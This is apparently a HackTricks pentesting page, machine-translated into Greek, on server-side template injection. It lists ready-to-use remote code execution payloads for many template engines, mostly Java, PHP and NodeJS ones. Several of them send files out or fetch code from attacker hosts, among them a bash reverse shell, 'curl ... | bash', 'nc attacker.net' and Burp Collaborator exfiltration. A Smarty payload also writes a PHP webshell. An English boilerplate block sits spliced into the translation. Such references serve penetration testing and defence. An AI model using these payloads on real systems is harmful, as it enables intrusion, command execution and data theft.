SSTI (Server Side Template Injection)

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

RootedCON είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο αποτελεί έναν πυρήνα συνάντησης τεχνολογίας και επαγγελματιών κυβερνοασφάλειας σε κάθε πεδίο.

Τι είναι η SSTI (Server-Side Template Injection)

Η ενσωμάτωση προτύπων στην πλευρά του διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να ενσωματώσει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.

Το Jinja είναι ένα δημοφιλές μηχανισμό προτύπων που χρησιμοποιείται σε εφαρμογές ιστού. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα κομμάτι κώδικα ευπάθειας χρησιμοποιώντας το Jinja:

output = template.render(name=request.args.get('name'))

Σε αυτόν τον ευάλωτο κώδικα, το παράμετρο name από το αίτημα του χρήστη περνιέται απευθείας στο πρότυπο χρησιμοποιώντας τη λειτουργία render. Αυτό μπορεί θεωρητικά να επιτρέψει σε έναν επιτιθέμενο να ενθάρρυνε κακόβουλο κώδικα στην παράμετρο name, οδηγώντας σε ενσωμάτωση προτύπου στην πλευρά του διακομιστή.

Για παράδειγμα, ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ένα αίτημα με ένα φορτίο όπως αυτό:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Το payload {{κακό-περιεχόμενο-εδώ}} εισάγεται στην παράμετρο name. Αυτό το payload μπορεί να περιέχει οδηγίες Jinja template που επιτρέπουν στον επιτιθέμενο να εκτελέσει μη εξουσιοδοτημένο κώδικα ή να χειριστεί τη μηχανή προτύπων, αποκτώντας πιθανώς έλεγχο επί του διακομιστή.

Για να αποτρέψουν τις ευπάθειες ενσωμάτωσης προτύπων στην πλευρά του διακομιστή, οι προγραμματιστές πρέπει να διασφαλίσουν ότι η είσοδος του χρήστη αποσκοπεί σωστά και επικυρώνεται πριν ενσωματωθεί στα πρότυπα. Η εφαρμογή ελέγχου εισόδου και η χρήση τεχνικών αποφυγής εξαρτημένων από το περιβάλλον μπορούν να βοηθήσουν στη μείωση του κινδύνου αυτής της ευπάθειας.

Ανίχνευση

Για την ανίχνευση της Ενσωμάτωσης Προτύπων Στην Πλευρά του Διακομιστή (SSTI), αρχικά, η δοκιμή του προτύπου είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (${{<%[%'"}}%\) στο πρότυπο και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα έναντι αυτού του ειδικού payload. Οι ενδείξεις ευπαθειών περιλαμβάνουν:

  • Ρίψη σφαλμάτων, αποκαλύπτοντας την ευπάθεια και πιθανώς τη μηχανή προτύπων.

  • Απουσία του payload στον αντανακλασμό, ή μέρη του να λείπουν, υπονοώντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.

  • Κείμενο Κειμένου: Διάκριση από XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις προτύπων (π.χ., {{7*7}}, ${7*7}).

  • Πλαίσιο Κώδικα: Επιβεβαίωση της ευπαθείας αλλάζοντας παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το greeting στο http://vulnerable-website.com/?greeting=data.username για να δούμε αν η έξοδος του διακομιστή είναι δυναμική ή σταθερή, όπως στο greeting=data.username}}hello επιστρέφοντας το όνομα χρήστη.

Φάση Αναγνώρισης

Η αναγνώριση της μηχανής προτύπων περιλαμβάνει την ανάλυση μηνυμάτων σφαλμάτων ή τη δοκιμή χειροκίνητα διαφόρων φορτίων που είναι συγκεκριμένα για τη γλώσσα. Συνήθη φορτία που προκαλούν σφάλματα περιλαμβάνουν ${7/0}, {{7/0}}, και <%= 7/0 %>. Η παρατήρηση της απόκρισης του διακομιστή σε μαθηματικές πράξεις βοηθά στον εντοπισμό της συγκεκριμένης μηχανής προτύπων.

Εργαλεία

ένα αποτελεσματικό σαρώτη SSTI + CSTI που χρησιμοποιεί νέα πολύγλωττα

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

ένας διαδραστικός πίνακας που περιέχει τους πιο αποδοτικούς πολύγλωττους ενσωματώσεων προτύπου μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών μηχανών προτύπου.

Εκμεταλλεύσεις

Γενικό

Σε αυτόν τον κατάλογο λέξεων μπορείτε να βρείτε μεταβλητές που έχουν οριστεί στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω:

Java

Java - Βασική ενσωμάτωση

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Ανάκτηση των μεταβλητών περιβάλλοντος του συστήματος

${T(java.lang.System).getenv()}

Java - Ανάκτηση /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Μπορείτε να δοκιμάσετε τα payloads σας στο https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nothing

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Παράκαμψη αμμόλοφου

⚠️ λειτουργεί μόνο σε εκδόσεις του Freemarker κάτω από 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Περισσότερες πληροφορίες

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Περισσότερες πληροφορίες

Thymeleaf

Στο Thymeleaf, ένα κοινό τεστ για ευπάθειες SSTI είναι η έκφραση ${7*7}, η οποία ισχύει επίσης για αυτόν τον μηχανισμό προτύπου. Για πιθανή εκτέλεση απομακρυσμένου κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι ακόλουθες:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Το Thymeleaf απαιτεί αυτές οι εκφράσεις να τοποθετούνται εντός συγκεκριμένων γνωρισμάτων. Ωστόσο, υποστηρίζεται η ενσωμάτωση εκφράσεων για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως [[...]] ή [(...)]. Έτσι, ένα απλό φορτίο δοκιμής SSTI μπορεί να μοιάζει με [[${7*7}]].

Ωστόσο, η πιθανότητα λειτουργίας αυτού του φορτίου είναι γενικά χαμηλή. Η προεπιλεγμένη διαμόρφωση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων. Τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαζόταν να υλοποιήσουν τον δικό τους TemplateResolver για τη δημιουργία προτύπων από συμβολοσειρές επί τόπου, κάτι που είναι ασυνήθιστο.

Επίσης, το Thymeleaf προσφέρει προεπεξεργασία εκφράσεων, όπου οι εκφράσεις μέσα σε διπλά κάτω παύλες (__...__) υποβάλλονται σε προεπεξεργασία. Αυτό το χαρακτηριστικό μπορεί να χρησιμοποιηθεί στην κατασκευή εκφράσεων, όπως φαίνεται στην τεκμηρίωση του Thymeleaf:

#{selection.__${sel.code}__}

Παράδειγμα ευπάθειας στο Thymeleaf

Λάβετε υπόψη το ακόλουθο απόσπασμα κώδικα, το οποίο θα μπορούσε να είναι ευάλωτο σε εκμετάλλευση:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Αυτό υποδηλώνει ότι εάν ο μηχανισμός προτύπου επεξεργάζεται αυτές τις εισόδους εσφαλμένα, μπορεί να οδηγήσει σε εκτέλεση απομακρυσμένου κώδικα με πρόσβαση σε διευθύνσεις URL όπως:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Περισσότερες πληροφορίες

pageEL - Expression Language

Πλαίσιο Spring (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Παράκαμψη φίλτρων

Μπορούν να χρησιμοποιηθούν πολλαπλές μεταβλητές εκφράσεις, αν το ${...} δεν λειτουργεί δοκιμάστε το #{...}, *{...}, @{...} ή ~{...}.

  • Διαβάστε το /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Προσαρμοσμένο Σενάριο για τη δημιουργία φορτίου

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Περισσότερες Πληροφορίες

Αλλαγή Προβολής Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
pageEL - Expression Language

Pebble (Java)

  • {{ κάποιαΣυμβολοσειρά.toUPPERCASE() }}

Παλιά έκδοση του Pebble ( < έκδοση 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Νέα έκδοση του Pebble:

{% set cmd = 'id' %}




{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Το Jinjava είναι ένας μηχανισμός αξιολόγησης προτύπων στον οποίο βασίζεται το πλαίσιο Dropwizard. Χρησιμοποιείται για την αξιολόγηση προτύπων στο Dropwizard και μπορεί να χρησιμοποιηθεί για εκτέλεση επιθέσεων SSTI.

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - Εκτέλεση εντολών

Διορθώθηκε από https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Περισσότερες πληροφορίες

Hubspot - HuBL (Java)

  • {% %} διαχωριστές δηλώσεων

  • {{ }} διαχωριστές εκφράσεων

  • {# #} διαχωριστές σχολίων

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Αναζήτηση για "com.hubspot.content.hubl.context.TemplateContextRequest" και ανακάλυψη του Jinjava project στο Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Περισσότερες πληροφορίες

Γλώσσα Έκφρασης - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Η Γλώσσα Έκφρασης (EL) είναι μια βασική λειτουργία που διευκολύνει την αλληλεπίδραση μεταξύ του επιπέδου παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως οι διαχειριζόμενες μονάδες) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για την επιτάχυνση αυτής της επικοινωνίας. Οι κύριες τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:

  • JavaServer Faces (JSF): Χρησιμοποιεί EL για τη σύνδεση στοιχείων σε σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο παρασκήνιο.

  • JavaServer Pages (JSP): Η EL χρησιμοποιείται στο JSP για την πρόσβαση και την επεξεργασία δεδομένων μέσα στις σελίδες JSP, κάνοντας ευκολότερη τη σύνδεση στοιχείων σελίδας με τα δεδομένα της εφαρμογής.

  • Contexts and Dependency Injection for Java EE (CDI): Η EL ενσωματώνεται με το CDI για να επιτρέψει την άψογη αλληλεπίδραση μεταξύ του επιπέδου ιστού και των διαχειριζόμενων μονάδων, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.

Ελέγξτε την ακόλουθη σελίδα για να μάθετε περισσότερα σχετικά με την εκμετάλλευση των διερμηνευτών EL:

pageEL - Expression Language

Groovy (Java)

Οι παρακάτω παράκαμψεις του Υπεύθυνου Ασφαλείας προέρχονται από αυτό το άρθρο.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο αποτελεί έναν πυρήνα συνάντησης τεχνολογικών και επαγγελματιών κυβερνοασφάλειας σε κάθε πεδίο.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Περισσότερες πληροφορίες

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Μορφή προτύπου

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Περισσότερες πληροφορίες

Plates (PHP)

Το Plates είναι ένα σύστημα προτύπων που είναι ενσωματωμένο στη γλώσσα PHP, εμπνευσμένο από το Twig. Ωστόσο, αντίθετα με το Twig, το οποίο εισάγει μια νέα σύνταξη, το Plates χρησιμοποιεί τον φυσικό κώδικα PHP στα πρότυπα, κάνοντάς το ευανάγνωστο για τους προγραμματιστές PHP.

Ελεγκτής:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Πρότυπο σελίδας:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Διάταξη προτύπου:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Περισσότερες πληροφορίες

PHPlib και HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB είναι το ίδιο με το PHPlib αλλά μεταφέρθηκε στο Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

Server-Side Template Injection (SSTI)

Description

In some cases, the application may use server-side templates to render dynamic content. If the application is not properly sanitizing user input in these templates, it could be vulnerable to Server-Side Template Injection (SSTI) attacks. This can allow an attacker to execute arbitrary code on the server.

Exploitation

To exploit SSTI, an attacker can inject template code into user-controllable input fields, such as search bars or form fields. This injected code can then be executed on the server, leading to potential data exfiltration or server compromise.

Mitigation

To prevent SSTI attacks, it is important to properly sanitize and validate all user input before using it in server-side templates. Additionally, consider using a safe templating engine that automatically escapes user input to prevent code execution.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Περισσότερες πληροφορίες

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Περισσότερες πληροφορίες

patTemplate (PHP)

patTemplate μη συντακτικός μηχανισμός προτύπων PHP, που χρησιμοποιεί ετικέτες XML για να διαιρέσει ένα έγγραφο σε διαφορετικά μέρη

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Περισσότερες πληροφορίες

Handlebars (NodeJS)

Διαχείριση Διαδρομής (περισσότερες πληροφορίες εδώ).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Σφάλμα

  • ${7*7} = ${7*7}

  • Τίποτα

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Περισσότερες πληροφορίες

JsRender (NodeJS)

Πρότυπο

Περιγραφή

Αξιολόγηση και απεικόνιση εξόδου

Αξιολόγηση και απεικόνιση κωδικοποιημένης σε HTML εξόδου

Σχόλιο

και

Επιτρέπει κώδικα (απενεργοποιημένος από προεπιλογή)

  • = 49

Πλευρά Πελάτη

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Πλευρά Διακομιστή

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Περισσότερες πληροφορίες

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Παράδειγμα απόδοσης στην πλευρά του διακομιστή

var pugjs = require('pug');
home = pugjs.render(injected_page)

Περισσότερες πληροφορίες

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = Χωρίς έξοδο

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = Σφάλμα

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Περισσότερες πληροφορίες

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49
